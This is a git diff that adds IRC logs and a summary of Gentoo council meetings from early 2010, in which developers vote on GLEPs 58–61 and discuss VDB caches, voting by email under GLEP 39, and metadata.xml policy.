+22:17:25 <Betelgeuse>	Calchan: ok
+22:18:03 <Calchan>	NeddySeagoon just reminded me that we hae a missing member who sent in his vote by mail
+22:18:40 <Calchan>	but as we don't have a rule for that I told him we can't use votes by mail
+22:18:48 <Calchan>	we'll have to discuss that someday though
+22:18:52 <Calchan>	ok, 60 is go
+22:18:57 <Calchan>	let's vote on 58 now
+22:19:04 <scarabeus>	58 - yes
+22:19:09 <ulm>	yes for 58
+22:19:11 <leio>	58 - yes
+22:19:14 <Calchan>	yes for 58
+22:19:18 <solar>	yep
+22:19:42 <Betelgeuse>	yes
+22:19:50 <Calchan>	58 is accepted too
+22:20:03 <Calchan>	let's vote on 59 now
+22:20:09 <Betelgeuse>	yes
+22:20:14 <solar>	yes to all
+22:20:27 <scarabeus>	59 - yep
+22:20:32 <ulm>	yes for 59
+22:20:44 <Calchan>	yes here too
+22:20:51 <leio>	yes
+22:20:55 <solar>	Do any council ppl vote no on any of robins gleps? perhaps we can save some time per Betelgeuse suggestion?
+22:21:06 <scarabeus>	solar: we have to actively name it anyway
+22:21:15 <scarabeus>	due to proccess as i see it
+22:21:27 <leio>	I'll be curious how zac will do whirlpool though :)
+22:21:48 <Calchan>	leio, we talked of using external binaries
+22:22:00 <leio>	not important for the meeting
+22:22:01 <Calchan>	59 is go so we only have 61 left now
+22:22:05 <Calchan>	yes on 61
+22:22:28 <Betelgeuse>	yes
+22:22:34 <scarabeus>	yup
+22:22:36 <ulm>	abstain on 61
+22:23:54 <Calchan>	yes from me
+22:24:37 <leio>	no (due to the part covering per-package manifests)
+22:25:11 <Calchan>	we already know solar wnated to vote yes on 61, although if you could confirm that would be nice
+22:25:59 <Calchan>	so we have 4-2 for glep 61
+22:26:17 <solar>	pita :p
+22:26:18 <solar>	yes
+22:26:29 <Calchan>	solar, that's my second name ;o)
+22:26:48 <ulm>	Calchan: I see 4 yes 1 no 1 abstention
+22:26:59 <Calchan>	ulm, indeed
+22:27:27 <Betelgeuse>	I am almost home. Will move from car to apparatement
+22:27:35 <Calchan>	ulm, I'll scan you a copy of my conting sheet to prove you I did note your abstention ;o)
+22:27:42 <Calchan>	Betelgeuse, ok
+22:27:57 -->	reavertm (~quassel@gentoo/developer/reavertm) has joined #gentoo-council
+22:28:41 <Calchan>	alright, any comments about these gleps?
+22:29:11 <Calchan>	if there aren't any we'll switch to the next topic
+22:29:26 <Calchan>	here's how it will work though: it'
+22:29:27 <solar>	only that he finish editing them to orig spec that we had agreed on
+22:29:37 -->	antarus (~antarus@gentoo/developer/antarus) has joined #gentoo-council
+22:29:38 <leio>	well, I'm supposed to keep my mouth shut, as I'm late with comments ;)
+22:29:58 <solar>	leio: don't let that hold you back. If you have a concern raise it
+22:30:08 <Calchan>	s an open ended discussion, I will ask you to conclude before 2100UTC since we are a few minutes late
+22:30:24 <Calchan>	at which point we'll conclude the meeting wehatever the outcome of the discussion
+22:30:27 <leio>	glep 60 is confusing about AUX
+22:30:27 <Calchan>	agreed?
+22:30:49 <Calchan>	leio, let's discuss that during the open floor
+22:31:02 <Calchan>	ok, let's discuss the VDB issue
+22:31:18 <Calchan>	I have proosed a few topics, but feel free to add more
+22:31:37 <Calchan>	Do we care about VDB caches currently not being compatible across
+22:31:38 <Calchan>	package managers?
+22:32:09 <scarabeus>	would be nice to have it same, at least for us (read me) who have both pkgcore and portage :]
+22:32:12 <solar>	While it would be nice. I would leave that up to the pkg-mgr maintainers
+22:33:31 <Calchan>	the point is if we don't care there's nothing that prevents package manager maintainers to experiment with various stuff without needing a timestamp or other mechanism
+22:33:46 <Calchan>	it would make many people lives easier though
+22:34:24 <Calchan>	here ws another question, but we can still discuss the previous one at the same time
+22:34:42 <Calchan>	Do we want to develop a way to work with more than one type of VDB cache (similar to Brian's proposal or not) or do we prefer investing our time into developing a new VDB?
+22:34:54 <solar>	neither
+22:35:04 <Calchan>	solar, can you expand a bit?
+22:35:32 <solar>	if you read up to the last thing I said. It still holds true for this statement
+22:36:13 <solar>	but to go into more details. The VDB is imo outside of our scope at this time. it's not PMS. The PMS ppl clearly don't want it in. I happen to think they are right.
+22:36:44 <Calchan>	solar, talkig about PMS, is a VDB cache EAPI material, i.e. should it be defined in PMS?
+22:36:59 <solar>	No I don't think so.
+22:37:10 <leio>	how can it even be...
+22:37:18 <leio>	(EAPI material)
+22:37:19 <solar>	portage for example allows the use of more then one type of vdb backend.
+22:37:31 <solar>	and I would hate to limit them to 1 type.
+22:38:04 <solar>	so if we define anything at this time. I feel we would harm future growth more then help it
+22:38:28 <Calchan>	leio, agreed, on the other hand I think it's worth thinking whether even not being EAPI material if it shouldn't be in PMS anyway
+22:38:31 <leio>	We keep trying to slap things under EAPIs that can't be, they cover packages and to provide an upgrade path. That doesn't work for an uniform all-covering cache
+22:38:49 <Calchan>	solar, on of the remark was about it not being versioned, meaning that it could be
+22:39:19 <leio>	(nor profiles/ in my opinion, but that's some old somewhat never-ending discussion)
+22:39:28 <Calchan>	leio, that all boild down to: should PMS only cover EAPIs or can it be broader?
+22:39:34 <leio>	the movement is towards not relaying on VDB in packages, I think that's good
+22:39:43 -->	PSYCHO___ (~scarabeus@gentoo/developer/scarabeus) has joined #gentoo-council
+22:39:43 ---	ChanServ gives channel operator status to PSYCHO___
+22:40:00 <leio>	to actually support these other types of VDB in portage (built_with_use == bad, etc)
+22:40:07 <--	scarabeus has quit (Ping timeout: 260 seconds)
+22:40:43 ---	PSYCHO___ is now known as scarabeus
+22:40:46 <leio>	I think package manager authors should be able to innovate to come up with the most efficient cache
+22:40:48 <Calchan>	so another question now: what do you think about Brian's proposal in general?
+22:41:01 <Calchan>	both form the necessity and implementation point of view
+22:41:18 -->	[mrf] (~mrf@unaffiliated/mrf/x-6141039) has joined #gentoo-council
+22:41:35 <scarabeus>	i think we need such thing
+22:42:57 <Calchan>	scarabeus, thanks, any other opinions?
+22:43:10 <scarabeus>	the proposal sounds ok to me (thats why i wanted to talk about it :P) but i am not exactly what you would call expert in that area :]
+22:44:11 <Calchan>	mine is that there doesn't seem to be any harm caused by it, so if it helps some of us I would tend to say why not
+22:45:33 <solar>	it's outside of our scope. But personal feeling is there is no harm in updating the mtime of /var/db/pkg
+22:46:03 <leio>	yes, why not, while we are sort of stuck with current VDB and if it increases performance, but not sure if I'd want to decide on that if package manager/tool authors could just agree on it :)
+22:47:13 <Calchan>	leio, agreed here, I'm looking forward to the day they can all talk without us, on the other hand I consider them disagreeing a healthy thing
+22:47:53 <leio>	if that leads to a best solution with discussions..
+22:48:00 <Calchan>	so I didn't think we could reach that stage, but are we ready to make a decision on Brian's proposal?
+22:48:11 <solar>	no
+22:48:15 <--	reavertm has quit (Ping timeout: 276 seconds)
+22:48:26 <Calchan>	solar, I was going to add the following:
+22:48:42 <solar>	still no. This is an open discussion. Not a vote :p
+22:49:31 <scarabeus>	solar: he dont want to hear yes/no i guess :] that is not point of open floor :D
+22:50:03 <Calchan>	scarabeus, this isn't the open floor it's topic 6
+22:50:44 <scarabeus>	i am bit slightly off :P
+22:50:49 <scarabeus>	dont bite me :P
+22:50:51 <scarabeus>	mea culpa
+22:52:42 <scarabeus>	not open floor but open discussion
+22:52:44 <scarabeus>	:]
+22:53:13 <solar>	Calchan: did you have something else to add?
+22:53:39 <Calchan>	to conclude with this my opinion is that I would be happy that any package manager who wants to join in this vdb timestamp feature is welcome to do so
+22:53:51 <Calchan>	solar, I was typing, I'm a bit slow today ;o)
+22:54:04 <scarabeus>	ok so my statement on the matter is that: If zac implemented it in portae and was the same implemented in pkgcore i would be happy person so i would like to see that happen
+22:54:06 <solar>	The question was "but are we ready to make a decision on Brian's proposal" (for that statement alone. I'm saying no. No as it's outside of the scope.) If the VDB is going to be documented it's on a per pkg mgr basis at this point. We cant impose rules unless all the VDB equivs get a unified format.spec. Then that brings us back to hampering innovation.
+22:54:25 <Calchan>	if any of you want to summarize his opinion now it would help the poor guy who is going to make the meeting summary
+22:54:58 <Calchan>	solar, thanks, that's a nice summary from you
+22:55:19 <Calchan>	solar, and btw it's perfectly ok to answer no to any of my questions ;o)
+22:55:20 <leio>	on the other hand, if some package manager isn't participating in the vdb timestamp feature, it means it is not usable if user is using both a package manager not doing it, and one doing it
+22:55:45 <solar>	but it's not a bad idea. Zac and ferringb are welcome to do it. think they are even already
+22:55:48 <Calchan>	leio, I would say then it's up to the users of this package manager to lobby the maintainers to ad the feature
+22:56:15 <leio>	meanwhile it breaks everything for the participating package manager or something
+22:56:34 <ulm>	it's only a problem if they use more than one pkg manager at the same time
+22:57:28 <Calchan>	ulm, in the future it would only be a problem if they use one package manager that doesn't have the feature alibng with others
+22:57:47 <ulm>	right
+22:57:49 <Calchan>	ulm, as long as they use only package managers that have the feature they can use as many as they want
+22:58:25 <Calchan>	are we done on this topic?
+22:58:59 <leio>	not sure how one would summarize this topic in a meeting summary, indeed :)
+22:59:17 <Calchan>	leio, if you want I'll take care of it
+22:59:37 <Calchan>	let's conclude the meeting then
+22:59:49 <Calchan>	actions
+23:00:05 <Calchan>	leio, do you want to investigate this AUX issue?
+23:00:12 -->	PSYCHO___ (~scarab@gentoo/developer/scarabeus) has joined #gentoo-council
+23:00:13 ---	ChanServ gives channel operator status to PSYCHO___
+23:00:20 <Calchan>	although we did accept the glep we can always ask for some minor tuning
+23:00:30 <leio>	what kind of acceptance we gave to these gleps? Can they be changed anymore at all?
+23:00:50 <Calchan>	leio, we are the council, we have powerz ;o)
+23:00:51 <solar>	leio: yes. That was one of our conitions
+23:00:59 <Betelgeuse>	leio: even GLEP 1 should be updated
+23:01:28 <solar>	they have to be fixed up before changes are pushed around in the tree.
+23:01:38 <leio>	I will talk with Robin
+23:01:42 <Calchan>	any other actions for next meeting that I'm not seeing?
+23:01:47 <solar>	we really rushed them. It's sad robin was not here
+23:02:19 <Betelgeuse>	I wouldn't say the time available for people to discuss rushing.
+23:02:49 <Calchan>	7.2 Who takes care of the summary and log for this meeting? When?
+23:02:58 <Calchan>	I can do the summary if that helps
+23:03:10 <Calchan>	unless leio or anybody else wnats to do it
+23:03:15 <solar>	Betelgeuse: rushing as in robin did not finish documenting everything in the gleps. Some of the data needs to be yanked etc.
+23:03:58 <Calchan>	wo will commit the logs and when?
+23:04:03 <leio>	as said before, I will commit the log today
+23:04:09 <Calchan>	leio, ok thanks
+23:04:12 <leio>	(well, after midnight my time)
+23:04:37 <Calchan>	next meeting: can we already agree on a date/time or do we discuss it off-list?
+23:05:00 <scarabeus>	1 or 8
+23:05:07 <scarabeus>	i cant 15.
+23:05:16 <scarabeus>	and then 22 and 29 again i can
+23:05:20 <Betelgeuse>	I don't have travelling schedule for Mars
+23:05:27 <Calchan>	I'd prefer 8, 3 weeks to organize a meeting is short
+23:05:40 <solar>	I like the 8th next month. It's a full 4 weeks away.
+23:05:43 <scarabeus>	yeah 8 i can
+23:05:46 <Calchan>	although I did it this time I had to rush it
+23:05:50 <ulm>	8 ok for me too
+23:06:19 <Calchan>	ok let's put 8 as a tentative date and confirm that on list during this coming week but no later, ok?
+23:06:25 <scarabeus>	ack
+23:06:31 <Betelgeuse>	8 is fine
+23:06:38 <Calchan>	same time as usual I guess, which is 1 hour earlier than today
+23:06:50 <Calchan>	i.e. 1900 UTC
+23:07:02 <Calchan>	Who will follow-up discussions and prepare the agenda for the next meeting?
+23:07:34 <Calchan>	as usual I volunteer
+23:07:44 <Calchan>	but feel free to take that off my plate
+23:07:50 <scarabeus>	if is it just reading the mails and putting it together i can help (hey i can at least try :])
+23:08:08 <Calchan>	scarabeus, ok thanks, let's be in touch about this then
+23:08:46 <scarabeus>	ok my mail is obvious i live in CET and i am on irc most of the time expect monday and thursday :]
+23:09:01 <Calchan>	scarabeus, there's a lot of dicussing with people in the background too though, if only to make sure they'll answer on the lists
+23:09:19 <solar>	scarabeus: but mondays around 1900 UTC work ok for you in general?
+23:09:32 <scarabeus>	yep, basicaly yes
+23:09:40 <scarabeus>	i have 3 hours gap there :]
+23:10:04 <Calchan>	are you guys ok with opening the floor and ending the meeting?
+23:10:12 <Betelgeuse>	yes
+23:10:14 <scarabeus>	yep
+23:10:39 <ulm>	yes
+23:10:39 <leio>	is that open floor discussion not part of a meeting anymore? (for what to commit as raw log)
+23:11:15 <Calchan>	leio, feel free to commit whatever's relevant to your eyes, bytes aren't that expensive these days
+23:11:52 <leio>	well, that's just why I ask right now, it has more meaning (are council members supposed to try to stick around and participate, etc)
+23:12:04 <leio>	anyway, yeah, lets remove moderation, you are chair and say when meeting is over :)
+23:12:16 <scarabeus>	:]]
+23:12:44 *	solar declares it lunchtime then cya.
+23:13:08 ---	scarabeus sets mode -m #gentoo-council
+23:13:14 <scarabeus>	so lets see :]
+23:13:28 <antarus>	we need tree signing like yesterday
+23:13:33 <antarus>	plz2make it happen
+23:13:41 <antarus>	I don't even care if it is osprey signing post commit
+23:13:43 <antarus>	I'll take anything
+23:14:11 <solar>	done
+23:19:12 <scarabeus>	its quite quiet open floor
+23:19:21 <scarabeus>	i hear the pin to drop :P
+23:19:47 <ulm>	scarabeus: don't disturb the silence
+23:20:31 <NeddySeagoon>	scarabeus, close the meeting and do a runner
+23:21:14 <scarabeus>	:]
diff --git a/xml/htdocs/proj/en/council/meeting-logs/20100308-summary.txt b/xml/htdocs/proj/en/council/meeting-logs/20100308-summary.txt
new file mode 100644
index 00000000..13a3f762
--- /dev/null
+++ b/xml/htdocs/proj/en/council/meeting-logs/20100308-summary.txt
@@ -0,0 +1,44 @@
+Summary of the meeting of March 8th, 2010
+
+Attendance
+==========
+Present:
+ Betelgeuse
+ Calchan
+ dertobi123
+ leio
+ scarabeus
+ solar
+ ulm
+
+Voting by email
+===============
+Ideas seemed to converge on how to vote by email but it was noted that this
+would constitute a change of GLEP39 which the council can't modify without an
+all-developers vote. Since there were already other changes planned or
+suggested to GLEP 39 it was decided that the council would work on a new text
+and submit it to a vote when ready. Calchan has volunteered to gather all ideas
+and work on the text.
+
+Do we want a policy for changes in metadata.xml?
+===================================================
+Adding such information to metadata.xml was considered a bad idea for two
+reasons: this information is of no use to the users and would bloat the file
+for no good reason, and it would be a technical answer to a mostly social
+problem. It was suggested that reducing territoriality could help. Ideas were
+proposed like making it official that after sending an email to the
+maintainers and waiting one week anybody could touch a package.  In the end it
+wasn't clear what exact problem was to be solved. So scarabeus volunteered to
+animate the discussions on the mailing list. The goal is to find out what the
+source of the problem is and what solution(s) we can apply.
+
+Conclusion
+==========
+See above for actions.
+The next meeting will be on April 19th 2010.
+ulm will take care of following discussions and preparing the agenda.
+
+Open floor
+==========
+vapier suggested that we keep the Gentoo calendar updated with the council
+meeting dates, which was done for the next meeting.
diff --git a/xml/htdocs/proj/en/council/meeting-logs/20100308.txt b/xml/htdocs/proj/en/council/meeting-logs/20100308.txt
new file mode 100644
index 00000000..d4144dae
--- /dev/null
+++ b/xml/htdocs/proj/en/council/meeting-logs/20100308.txt
@@ -0,0 +1,376 @@
+20:56:39 ---	solar has changed the topic to: http://archives.gentoo.org/gentoo-council/msg_9fac75691c9845051a8cef0fb9b24115.xml
+21:00:03 <Calchan>	Alright, roll call
+21:00:11 *	dertobi123 is here
+21:00:14 <Betelgeuse>	yes
+21:00:37 <scarabeus>	yep
+21:00:38 <leio>	here
+21:00:52 <Calchan>	I have booted my pen&paper computer so I'm ready to go ;o)
+21:01:04 <ulm>	here
+21:01:52 <Calchan>	scarabeus and solar were here a few minutes ago and I'm sure they'll show up at some point
+21:02:02 <scarabeus>	Calchan: what?
+21:02:09 <scarabeus>	Calchan: i already replied to the roll call
+21:02:10 <scarabeus>	:D
+21:02:23 <Calchan>	scarabeus, blame age ;o)
+21:02:31 <solar>	here
+21:02:33 <Calchan>	I mean my age, I'm geting blind
+21:02:46 <Calchan>	alright, we have everybody
+21:03:11 <Calchan>	Betelgeuse, I know you're logging, who else? just in case Betelgeuse has internet issues
+21:03:22 <leio>	as usual..
+21:03:27 <Calchan>	good
+21:03:39 <Calchan>	who wants to chair this meeting?
+21:04:12 <Calchan>	as usual I volunteer but if anybody else wnats I'll be happy to let you do it
+21:04:33 <Calchan>	no candidates?
+21:04:33 <solar>	Calchan: I think it's assumed you will chair the rest of the council meetings
+21:04:38 <dertobi123>	just do it, please :)
+21:04:41 <dertobi123>	solar: ack :P
+21:04:42 <Calchan>	solar, heh thanks
+21:04:43 <scarabeus>	:]
+21:04:44 <Betelgeuse>	Calchan: You probably know best what you would like to accomplish with 2
+21:05:29 <Calchan>	Betelgeuse, I actually don't assume anything and have no pesonal agenda, what I want is us to talk about it
+21:05:32 <Calchan>	ok then
+21:05:42 <Calchan>	any comment abou tthe agenda before we go?
+21:06:20 <solar>	lets go.
+21:06:21 <scarabeus>	as this is the last chance to change agenda, we should add the "Glep 39 change process/approach" to it, because now we have no chance to change it, and it kinda blocks numero uno
+21:06:51 <dertobi123>	uhrm, no ... discuss stuff like that on-list please
+21:06:53 <Calchan>	scarabeus, agreed but we're not going to vote on anything today, so glep 39 doesn't get in the way yet
+21:07:20 <scarabeus>	ok lets keep it on list then, i will sent mail after meeting :]
+21:07:23 <Calchan>	and changing glep 39 isn't something we can add to the agenda at the last minute, see my answer to vapier
+21:07:51 <Calchan>	scarabeus, since you joined us recently you might not rememebr that I was the one raising this issue at the beginning of our term
+21:08:28 <Calchan>	and the council decided that it couldn't change glep 39 on its own, which is silly because it had been done before
+21:08:35 <Calchan>	anyway, back to the agenda
+21:08:36 <solar>	#2 I'm in favor of allowing ppl to vote by email or use a www based app such as Betelgeuse proposed as long as the majority is present.
+21:08:43 <Calchan>	2. Voting by email (20 minutes)
+21:08:58 <Betelgeuse>	I agree with solar.
+21:09:21 <Calchan>	I think the tool is irrelevant, but I agree voting by email should be allowed
+21:09:22 <dertobi123>	i'm in favour of people voting before the meeting by email or to cast *all* votes after a meeting on web-based app
+21:09:47 <scarabeus>	i would preffer the web-app after the meeting
+21:09:55 <scarabeus>	so they can read last minute notes from meeting too
+21:10:21 <Calchan>	the problem for anything done after the meeting is as we tend to slack we need to be strict on deadlines
+21:10:22 <scarabeus>	but it should be also limited somehow, so none can vote lets say 20 days after the meeting
+21:10:28 <Calchan>	and it delays all processes again
+21:10:37 <scarabeus>	it should be 72 hours
+21:10:46 <scarabeus>	thats enough to get connection at least somehow
+21:10:48 <Calchan>	scarabeus, we should limit it to like 48 hours no more
+21:10:58 <scarabeus>	or even 48 :] i just tried to be nice
+21:11:01 <scarabeus>	i can go with 2 days :]
+21:11:03 <solar>	after the notes are posted?
+21:11:16 <scarabeus>	after the log is posted
+21:11:23 <Calchan>	solar, that would take too long, how about after the logs are posted
+21:11:24 <Calchan>	?
+21:11:33 <solar>	I've seen long delays in the notes being posted however
+21:11:41 <dertobi123>	48 hours just after the meeting ended
+21:12:00 <solar>	and it's the persons own responsiblity to find the notes?
+21:12:19 <Betelgeuse>	If we use a web application, deadlines are easy to enforce.
+21:12:20 <leio>	you can read the raw log, summaries can't cover everything needed to know
+21:12:34 <Calchan>	solar, is there any way we can have the logs posted automatically right at the end of the meeting?
+21:12:42 <dertobi123>	solar: as this only affects people which were absent, i see no problem with that
+21:12:48 <solar>	script-o-magic maybe
+21:13:00 *	solar is ok with that. stamp it/seal it and let move on.
+21:13:24 <solar>	no really. So it boils down to email vs web app. Either is fine with me
+21:13:24 <leio>	there are meeting bots that can do something like that. Other than that I've been commiting raw logs within hours of meeting end too the past couple meetings
+21:14:05 <Betelgeuse>	Calchan: A bot.
+21:14:11 <Calchan>	now, we all seem to converge on an agreement on how to vote by email, although it might need a bit of polishing and working on some details, but how do we factor in the fact this is a change of what glep 39 says and that we have decided we can't change glep 39?
+21:14:30 <solar>	we are not
+21:14:31 <Betelgeuse>	Calchan: 50% still needs to be there.
+21:14:42 <Betelgeuse>	If someone-misses they can vote after.
+21:14:42 <scarabeus>	50% still needs to attend
+21:14:43 <leio>	I think the glep39 doesn't say per se that we can't do vote in other places too
+21:14:48 <Calchan>	solar, can you please elaborate?
+21:14:58 <Betelgeuse>	GLEP 39 doesn't require us to vote in meetings at all.
+21:15:00 <Calchan>	leio, but it doesn't say we can
+21:15:07 <Calchan>	Betelgeuse, ok, good point
+21:15:15 <ulm>	leio: but it says that only those who show up can vote
+21:15:34 <ulm>	"Council decisions are by majority vote of those who show up (or their proxies)."
+21:15:40 <Calchan>	another good point
+21:16:03 <dertobi123>	well, if i don't vote in a meeting, but sent my votes before i'm somewhat proxying myself
+21:16:06 <leio>	yeah, I made and quoted it before, then thought that doesn't cover all votes, but "Council decisions" sounds broad
+21:16:11 <dertobi123>	same if we're voting afterwards
+21:16:35 <Betelgeuse>	I think the best approach is to move the whole vote after the meeting.
+21:16:42 <Betelgeuse>	And do it in 48 hours after it.
+21:16:43 <scarabeus>	well we should have the proccess of glep39 update and update the text to fit our needs
+21:16:55 <Calchan>	so it seems we first need to decide whether allowing vote by email requires a change of glep 39
+21:17:17 <dertobi123>	scarabeus: get the discussion started and submit a proposal on which fellow developers can vote :P
+21:17:19 <Betelgeuse>	GLEP 39 should be updated so that someone comes up with a new text.
+21:17:37 <Calchan>	scarabeus, again agreed, but it's a hot topic, please the logs and emails around the time of the first council meetings of this term
+21:17:37 <Betelgeuse>	Then open it for comments and finally submit it for developer vote.
+21:17:44 <Betelgeuse>	Don't have discussion first.
+21:17:45 <Calchan>	Betelgeuse, but who does that if council can
+21:17:47 <Calchan>	t?
+21:18:04 <Betelgeuse>	Calchan: Anyone can.
+21:18:19 <scarabeus>	foundation guys
+21:18:23 <scarabeus>	woudl be sane choice
+21:18:27 <scarabeus>	they should be our coutnerpart
+21:18:37 <scarabeus>	or all devs
+21:18:38 *	dertobi123 sighs.
+21:18:43 <Calchan>	scarabeus, I'm guessing they don't care and don
+21:18:47 <Calchan>	t wan tto interfere
+21:18:57 <scarabeus>	hey in that case why you voted we cant touch that glep :D
+21:19:05 <scarabeus>	if none cares :]
+21:19:18 <Betelgeuse>	the council can still come up with the new text
+21:19:20 <Calchan>	scarabeus, I voted for us to be able to change that glep, so don't look at me
+21:19:23 <Betelgeuse>	we can't just approve it
+21:19:38 <scarabeus>	question is, who approves it then
+21:19:50 <leio>	condorcet voting by elections team, probably
+21:19:56 <Betelgeuse>	scarabeus: developer vote by elections team
+21:20:03 <dertobi123>	please take a look at the July 20th 2009 summary
+21:20:04 <Betelgeuse>	yes/no
+21:20:16 <ulm>	leio: why condorcet? it's just yes or no
+21:20:21 <Betelgeuse>	ulm: same results
+21:20:25 <Betelgeuse>	ulm: doesn't matter
+21:20:31 <Calchan>	ok, so it seems that we need to prepare a change on glep 39, and as there are other things to change in there than just voting by email I suggest we batch them together
+21:20:39 <leio>	shrug, tradition. No need to argue then also what voting method it has to be ;p
+21:21:10 <ulm>	Calchan: yes, throw out all the outdated cruft
+21:21:21 <ulm>	especially in "Rationale" and "Motivation"
+21:21:25 <Calchan>	ulm, yes, and also see vapier's mail
+21:21:40 <ulm>	and change the title ;)
+21:21:52 <Calchan>	so, do we have a volunteer to lead that effort?
+21:22:16 <--	Ford_Prefect has quit (Read error: Connection reset by peer)
+21:23:04 <Calchan>	mmmkay... so what I propose is I gather all required changes (voting by email, vapier's stuff, ulm's stuff) and submit it to you guys
+21:23:38 <Calchan>	and we work on it all together with me as your sexy secretary, and we submit that to a vote of all devs
+21:23:50 -->	Ford_Prefect (~ford_pref@gentoo/developer/ford-prefect) has joined #gentoo-council
+21:24:21 <scarabeus>	Calchan: and i hope you will wear some nice gentoo t-shirt if you want to present yourself as sexy secretary :D
+21:24:21 <ulm>	sounds good
+21:24:23 <scarabeus>	sounds sane
+21:24:50 <dertobi123>	Calchan: please make separate patches so developers can vote on each of the changes separately
+21:25:08 <Calchan>	dertobi123, interesting idea, ok will do
+21:25:39 <Betelgeuse>	I think it should be intirely new GLEP
+21:25:40 <Calchan>	I will first gather an informal list before making patches though
+21:25:45 <Betelgeuse>	and leave 39 as deprecated
+21:26:09 <Calchan>	Betelgeuse, we could do that to, it would make things easier
+21:26:25 *	solar thinks so as well.
+21:26:52 <scarabeus>	we should implement it as approach for everything, expect typo changes all gleps would go to deprecated and presented as new glep
+21:26:53 <Calchan>	and on the voting by email subject it looks we all agree and only some details need to be worked out
+21:27:14 <Calchan>	scarabeus, that or we version them
+21:27:43 <scarabeus>	we never agreed even on versioning eclasses :D how do you want us to version gleps :P
+21:27:52 <dertobi123>	well, in general glep 39 shouldn't be a glep, but the council's constitution ... if we're creating a new one, make it the council's constitution, not yet another glep
+21:28:01 <Calchan>	scarabeus, we just do it, it isn't that difficult if we decide it
+21:28:35 <Calchan>	dertobi123, I've been wanting to do that for a long time but when I talked about it it was met with scepticism
+21:28:45 <Calchan>	whatever it's spelled in english
+21:28:49 <dertobi123>	heh
+21:28:55 <scarabeus>	we can haz constitution
+21:29:23 <Calchan>	ok, that can be one of the topics to discuss among all the others and we may have devs vote on that
+21:29:54 <Calchan>	anything else to add to that topic before we switch to thwe next one?
+21:30:36 <Calchan>	wow, we're right on schedule
+21:30:48 <Calchan>	3. Do we want of a policy for changes in metadata.xml? (20 minutes)
+21:31:14 <Calchan>	who starts?
+21:31:23 <solar>	Not sure about a policy. But shoving that info into metadata.xml is just flat out wrong
+21:31:27 <scarabeus>	it looks weird
+21:31:31 <Calchan>	how about solar, you had an interesting proposal?
+21:31:32 <scarabeus>	and definitely not in metadata
+21:31:35 <Calchan>	dammit, slow fingers
+21:32:01 <solar>	reason for that being is the end user gets this data and it provides them zero advantage. It bloats the tree.
+21:32:12 <Calchan>	agreed here
+21:32:28 <Betelgeuse>	solar: Easy to filter out in CVS --> rsync
+21:32:31 <ulm>	it would be a technical solution for a social problem
+21:32:45 <solar>	Betelgeuse: not if it's in metadata.xml (any other file is fine)
+21:32:56 <Calchan>	is there any way we can have such changes help us getting toward less territoriality?
+21:33:02 <solar>	antarus suggested owners.xml
+21:33:05 <Calchan>	one cookie for ulm :o)
+21:33:17 <Betelgeuse>	I sometimes find myself touching some dev-java/ stuff that's not maintained by me so repoman reminding me would be useful in that case
+21:33:22 <vapier>	Calchan: you should keep the calendar up-to-date with council meetings
+21:33:50 <ulm>	just use common sense, we don't need more complicated rules
+21:33:57 <Calchan>	vapier, can we discus that in the open floor session?
+21:34:37 <vapier>	yeah
+21:34:38 <ulm>	ask the maintainer, and if he doesn't answer within reasonable time then just fix it
+21:34:46 <scarabeus>	i think the rule "You dont maintain -> ask first" is quite clear
+21:35:05 <Betelgeuse>	I could write a repoman check for checking against metadata.xml and herds.xml disabled if only changing KEYWORDS
+21:35:08 <scarabeus>	and only thing we should implement is some repoman warning "I hope you ask since you dont maintain this"
+21:35:12 <Betelgeuse>	Should remind people enough
+21:35:14 <solar>	ulm: yes. So far it's only one questionable seed in this entire mix. Seeing as devrel/QA or other did not slam the hammer down. it would be nice to make this overcomplex. But Betelgeuse has a good point about repoman.
+21:35:16 <Calchan>	scarabeus, indeed and it makes sense, the problem occurs when maintainers are slow to answer due to real life
+21:35:27 <dertobi123>	ulm: agreed ... besides having a tard or two every other year screwing up that one did work for years ....
+21:35:35 <scarabeus>	Calchan: well i always wait at least 10 days
+21:35:44 <scarabeus>	Calchan: expect security fix, nothing need more rush
+21:35:55 <Calchan>	scarabeus, and some will think that 2 days is enough, some will think it's one month
+21:36:07 <Betelgeuse>	We could also write some common time to devmanual
+21:36:07 <scarabeus>	they can always ask us in QA
+21:36:08 <ulm>	dertobi123: and for that case metadata information wouldn't help I guess
+21:36:13 <Calchan>	so we could always set a time limit but that's one more rule, do we need it?
+21:36:15 <dertobi123>	ulm: indeed ...
+21:36:15 <Betelgeuse>	about how soon you can commit if there's no response
+21:36:17 <scarabeus>	to look over that fix
+21:36:18 <Betelgeuse>	currently it's fuzzy
+21:37:00 <ulm>	Betelgeuse: one week?
+21:37:09 <scarabeus>	sounds like sensible time
+21:37:14 <scarabeus>	because it always contains weekend
+21:37:15 <scarabeus>	:]
+21:37:23 <dertobi123>	this topic is somewhat useless ... there's no problem to solve. if someone screws up -> get their account locked.
+21:37:28 <Calchan>	how about letting anybody touching anything as long as it is masked?
+21:37:40 <Calchan>	dertobi123, unfortunately it isn't that easy
+21:37:50 <dertobi123>	it is ...
+21:37:52 <solar>	ok so policy.
+21:37:52 <Betelgeuse>	Lot of people are well reachable so allowing touching is not good.
+21:37:59 <Calchan>	dertobi123, we have to leave people a certain margin for error, they
+21:38:01 <Calchan>	re not robots
+21:38:16 <dertobi123>	having loads of policy just for some tards is just plain bullshit
+21:38:20 <solar>	policy proposal. No useless data in metadata.xml (that's what #3 is about right?)
+21:38:33 <Calchan>	Betelgeuse, ok, (I was raising an hypothetical idea here, not pushing anything)
+21:38:43 <Calchan>	solar, right
+21:38:45 <scarabeus>	yeah lets stop that bikeshed on -dev about that metadata changes
+21:38:45 <solar>	where useless is stuff that does not help the end user in anyway. Ie internal stuff only.
+21:38:48 <ulm>	solar: right, it's useless in the users' tree
+21:39:54 <solar>	can we keep it that simple then?
+21:40:41 <Calchan>	solar, didn't you propose we keep this in another file at some point?
+21:41:00 <scarabeus>	that policy is complicated, so i would vote against it anyway
+21:41:00 <Betelgeuse>	I propose we vote on the week timeline?
+21:41:22 <Calchan>	Betelgeuse, we could do that, yes
+21:41:26 <leio>	I bet cvs->rsync can strip the tags with a simple xml tool. Having them in there or not is a different question, which we don't know if we should put our nose in it or not right now
+21:41:38 <Calchan>	anybody opposed to us voting on this?
+21:41:46 *	dertobi123 
+21:42:04 <solar>	Calchan: that was antarus. But I think that is somewhat outside the scope.
+21:42:16 <ulm>	leio: it would break the Manifest files
+21:42:41 <solar>	repoman in theory could check it from any dir.
+21:43:07 <Calchan>	dertobi123, you're opposed to us voting on making it official that after one week of warning one could touch any package?
+21:43:40 <Betelgeuse>	Calchan: Just have a vote. If people don't want a policy they vote no.
